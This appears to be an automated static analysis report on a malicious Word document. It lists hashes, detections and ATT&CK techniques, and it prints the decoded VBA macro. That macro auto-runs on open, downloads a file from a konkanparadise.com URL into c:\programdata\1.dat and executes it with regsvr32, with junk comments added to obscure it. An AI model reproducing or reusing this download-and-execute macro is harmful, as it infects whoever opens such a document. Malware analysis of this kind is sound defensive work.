Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 41fdd6d39d225d97…

MALICIOUS

Office (OOXML)

113.6 KB Created: 2020-07-01 09:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: 6c8572f68fc9af9e3b87713ae49c2f0c SHA-1: dff005c291cfc81d629affd8fe521ad483e1f3a6 SHA-256: 41fdd6d39d225d97db624d1cf2edb76cedaf051b909cdfd100be3e473dcad1f8
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including an autoopen subroutine, which is a common technique for executing malicious code upon document opening. The script uses URLDownloadToFile to download a file from 'http://konkanparadise.com/wp-content/plugins/apikey/_AyVWhAgemK4vfDCE.php?x=MDAwMSD9uWax702_E73W51MTh7aqjV2jmeAxzy_OfzqVgLc3GbwVfabECvfl4T9ZmGJS-rwjUz-DKqyztGE9IyFRsZeqLcsY5O0UMdNEZpLLrEYwRq2xoOzh2bTeprEoHd2cNt_vM-Vs5VhCAe1Hx6eUqw~~' to 'c:\programdata\1.dat'. Subsequently, it uses regsvr32 to execute the downloaded file, indicating a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function BE Lib "urlmon" Alias "URLDownloadToFileA" (ByVal CS As LongPtr, ByVal UA As String, ByVal zC As String, ByVal gX As LongPtr, ByVal Oy As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim F1 As New WshShell
    F1.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "O"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://konkanparadise.com/wp-content/plugins/apikey/_AyVWhAgemK4vfDCE.php?x=MDAwMSD9uWax702_E73W51MTh7aqjV2jmeAxzy_OfzqVgLc3GbwVfabECvfl4T9ZmGJS-rwjUz-DKqyztGE9IyFRsZeqLcsY5O0UMdNEZpLLrEYwRq2xoOzh2bTeprEoHd2cNt_vM-Vs5VhCAe1Hx6eUqw~~ Referenced by macro
    • http://konkanparadise.com/wp-content/plugins/apikey/_AyVWhAgemK4vfDCE.php?x=MDAwMSD9uWax702_E73W51MTh7aqjV2jmeAxzy_OfzqVgLc3GbwVfabECvfl4T9ZmGJS-rwjUz-DKqyztGE9IyFRsZeqLcsY5O0UMdNEZpLLrEYwRq2xoOzh2bTeprEoHd2cNt_vM-Vs5VhCAe1Hx6eUqw~~�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2321 bytes
SHA-256: 1f5be3892ba3da0d924ac008c1606251159d16fc6b25c9264662b299fea7097f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "O"
Sub autoopen()

' Importation assure puncture sward paperback resumes
' Stalking twaddle
' Thumbzilla state mural tacks absolved barrel
' Upside paypal nursing
' Reporter brutish
GB = BE(0, "http://konkanparadise.com/wp-content/plugins/apikey/_AyVWhAgemK4vfDCE.php?x=MDAwMSD9uWax702_E73W51MTh7aqjV2jmeAxzy_OfzqVgLc3GbwVfabECvfl4T9ZmGJS-rwjUz-DKqyztGE9IyFRsZeqLcsY5O0UMdNEZpLLrEYwRq2xoOzh2bTeprEoHd2cNt_vM-Vs5VhCAe1Hx6eUqw~~", "c:\programdata\1.dat", 0, 0)

' Oman constituency lanes
' Descriptions execration
od
End Sub

Attribute VB_Name = "O1"
Sub od()

' Abstinence ochre ace
' Time-honoured technician cops

' Prisoners consort japanese
' Gospel peak karl documentary
' Achieving grandchild
' Terminating essayist digit

' Skill dick fragmentary philemon schools
' Layers obscene
' Res appeals
' Fraternal ea delineation

' Mtv epa
' Gripe amongst
' Com- odyssey

' Abnormally calabash pathology memorial
' Nato intimidation vagabond unwell obstruction steadfastly

' Dealtime notion
' Serbia
' Martha

' Angola occupational
' Nottingham cheats
' Population auxiliary
' Circuits charioteer wayfarer policies
' Transition

' Faithfulness ion
' Catechism
' Nw soviet
' Possibility radiate
Dim F1 As New WshShell
F1.exec "regsvr32 c:\programdata\1.dat"

' Itinerant pit inkling fussy audience
' Dayton nicaragua stink
' Fi scandinavian treating
' Crossword abbreviated
End Sub

Attribute VB_Name = "W"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function BE Lib "urlmon" Alias "URLDownloadToFileA" (ByVal CS As LongPtr, ByVal UA As String, ByVal zC As String, ByVal gX As LongPtr, ByVal Oy As LongPtr) As Long
#Else
Public Declare Function BE Lib "urlmon" Alias "URLDownloadToFileA"(ByVal CS As Long, ByVal UA As String, ByVal zC As String, ByVal gX As Long, ByVal Oy As Long) As Long
#End If
Function Z(bn)

' Withdrawal conservation
' Impetus week radium temporary
' Captured thursday
' Opaque kim atom playback loiter
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 923dc5657b322fc3db56e5595bad064e2426d441ae2ca267ad7b5f5ca57880c6